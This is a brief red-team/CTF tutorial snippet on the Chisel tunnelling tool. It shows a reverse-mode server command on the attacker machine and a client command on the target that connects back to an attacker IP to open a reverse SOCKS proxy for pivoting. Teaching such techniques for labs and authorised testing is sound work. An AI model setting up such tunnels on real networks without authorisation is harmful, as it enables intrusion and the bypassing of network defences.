🧠 What is Chisel? Chisel is a fast TCP/UDP tunnel over HTTP, useful for port forwarding and pivoting, especially during red teaming or CTFs. 🔥 Attacker Machine Setup (Chisel Server) Start Chisel in reverse mode on the attacker machine: ./chisel_1.5.1 server -p 9005 --reverse -p 9005: Listen on port 9005 --reverse: Accept reverse port forwarding connections 🎯 Target Machine Setup (Chisel Client) Forward all traffic to attacker: ./chisel client 10.10.14.19:9005 R:socks This sets up a SOCKS proxy from the target to the attacker’s Chisel server ...
